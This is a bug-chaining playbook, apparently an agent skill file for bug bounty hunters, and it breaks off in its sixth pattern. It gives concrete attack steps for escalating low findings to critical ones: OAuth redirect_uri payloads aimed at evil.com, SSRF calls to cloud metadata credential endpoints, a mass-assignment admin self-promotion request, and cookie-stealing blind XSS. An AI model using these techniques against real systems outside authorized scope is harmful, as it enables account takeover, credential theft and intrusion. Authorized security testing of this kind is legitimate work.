/bug-chaining

name: bug-chaining
description: >
  Standalone bug chaining skill — synthesized from omni-killchain, omni-references/chaining-impact, triage-validation, apex-hunter, web2-vuln-classes, bug-bounty, and bb-methodology. Covers the complete chaining mindset: 10-question filter, 15 proven chain patterns (A–O) with payout data, escalation ladders per vuln class, conditional-chain table (when a standalone bug needs a gadget), impact-writing rules, CVSS chain multipliers, and 30-minute chain-or-move decision clock. Use when you have a low/medium finding and want to know how to chain it to Critical, or when strategizing what to hunt for maximum payout. Authorized testing only — bug bounty in-scope, pentest engagement, or CTF.

BUG CHAINING — Low → Critical Playbook

> Single-bug reports get triaged. Chained reports get paid. > $10K+ reports are almost always chains.

---

THE ONLY QUESTION THAT MATTERS

**"Can I connect finding A to finding B so that an attacker walks away with real harm — account takeover, stolen money, PII exfil, RCE — that they couldn't achieve with either bug alone?"**

If you can't answer YES with a working PoC → keep escalating or move on.

---

THE 10-QUESTION CHAIN FILTER

Run for every candidate finding before spending more than 30 minutes on it.

Q1.  Cross-user impact?           → IDOR/BOLA family
Q2.  Cross-tenant impact?         → massive multiplier on SaaS
Q3.  Leaks credentials/tokens?    → secret family (esp. cloud/admin)
Q4.  Pre-auth?                    → eliminates social-engineering need
Q5.  0-click?                     → eliminates user-interaction cost
Q6.  Persistent (stored)?         → keeps paying after report
Q7.  Internal/cloud-metadata?     → SSRF chain
Q8.  Source code / config read?   → feeds future bugs
Q9.  Leads to RCE/SQLi/admin?     → critical
Q10. Mass-exploitable?            → dramatic multiplier

• **3+ YES → ready to report** (check payout tier below)
• **1-2 YES → keep escalating** (find the connector gadget)
• **0 YES → kill it, move on**

---

THE 15 PROVEN CHAIN PATTERNS

Pattern A — Recon → Source disclosure → Bug class flood

**Payout range: $5K–$50K**

1. .git exposed / source map present / public S3 with code
2. Pull source
3. Grep for: SQL strings, command runners, deserialization, hardcoded secrets,
   weak JWT keys, internal endpoints
4. Test discovered endpoints/sinks against live target
5. Multiple critical bugs in one report

**Signal**: `.git/HEAD` returns `ref: refs/heads/main`; `.js.map` in wayback URLs; S3 bucket named `target-frontend-assets`

---

Pattern B — Subdomain takeover → Cookie/CSP/OAuth bypass → ATO

**Payout range: $5K–$25K** (takeover alone: ~$200)

1. Find dangling CNAME pointing to expired provider
   (GitHub Pages, Heroku, Fastly, Zendesk, Shopify, S3, Azure, etc.)
2. Register a resource at that provider for the vulnerable CNAME
3. Domain now responds under target's subdomain
4. Check: does target set cookies with domain=.target.com?
   → If yes: your takeover page receives those cookies
5. Check: does target's CSP allowlist this subdomain?
   → If yes: XSS on main app bypasses CSP
6. Check: is this subdomain an OAuth redirect_uri?
   → If yes: register it and steal auth codes

**Kill if**: subdomain has no cookie scope, no CSP mention, no OAuth registration.

---

Pattern C — Open redirect → OAuth code theft → ATO

**Payout range: $5K–$15K** (redirect alone: $0–$200)

1. Find any open redirect on target.com
   (redirect=, return_to=, next=, url=, r=, continue=)
2. Check if target.com is an OAuth redirect_uri allowlisted provider
3. Craft: /oauth/authorize?redirect_uri=https://target.com/redirect?to=https://evil.com
4. Victim clicks → auth code arrives at evil.com via Referer or fragment
5. Exchange code for access token → ATO

**Variants**:

• Wildcard `*.target.com` → takeover a subdomain and register it as redirect_uri
• `redirect_uri=https://target.com.evil.com` (suffix bypass on startsWith check)
• `redirect_uri=https://target.com/oauth/../../redirect?to=evil.com` (path traversal)

---

Pattern D — SSRF → Cloud metadata → Cloud creds → S3 source → harder bugs

**Payout range: $10K–$50K** (blind SSRF alone: $200–$500)

Escalation ladder:
1. Detect SSRF (blind ping to OOB listener) → $200–500
2. Hit http://169.254.169.254/latest/meta-data/ → confirm cloud environment
3. Extract IAM role: /latest/meta-data/iam/security-credentials/
4. Read access_key, secret_key, session_token from credentials endpoint
5. Use creds: aws s3 ls → find source code buckets
6. Download JS bundles → extract API keys / admin secrets
7. Find more critical bugs using extracted source

**IMDSv2 (AWS)**: requires a PUT first for a token. If SSRF only allows GET, try:

• GCP: `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` + `Metadata-Flavor: Google`
• Azure: `http://169.254.169.254/metadata/instance?api-version=2021-02-01` + `Metadata: true`

**Internal pivot targets**:

127.0.0.1:6379   → Redis → RCE via cron/SSH
127.0.0.1:8080   → Internal admin
127.0.0.1:9200   → Elasticsearch → data exfil
127.0.0.1:8200   → Vault → secret dump
10.x.x.x         → internal services (often no auth)

---

Pattern E — IDOR + mass assignment → Self-promote to admin

**Payout range: $5K–$20K**

1. IDOR: request targeting another user's object works
2. Mass assignment: PUT/PATCH accepts role/isAdmin/permissions in body
3. Combine: PATCH /api/users/{victim_id} {"role":"admin"}
4. Your account or victim's account → admin

**Test mass assignment params**: `role`, `isAdmin`, `isOwner`, `plan`, `credit`, `verified`, `email_verified`, `balance`, `permissions`, `group_id`, `subscription_tier`

---

Pattern F — File upload → Stored XSS in admin view → CSRF to admin → Plugin install → RCE

**Payout range: $15K–$50K**

1. Upload SVG/HTML file that renders in admin view
2. Blind XSS payload steals admin's CSRF token + session cookie
3. U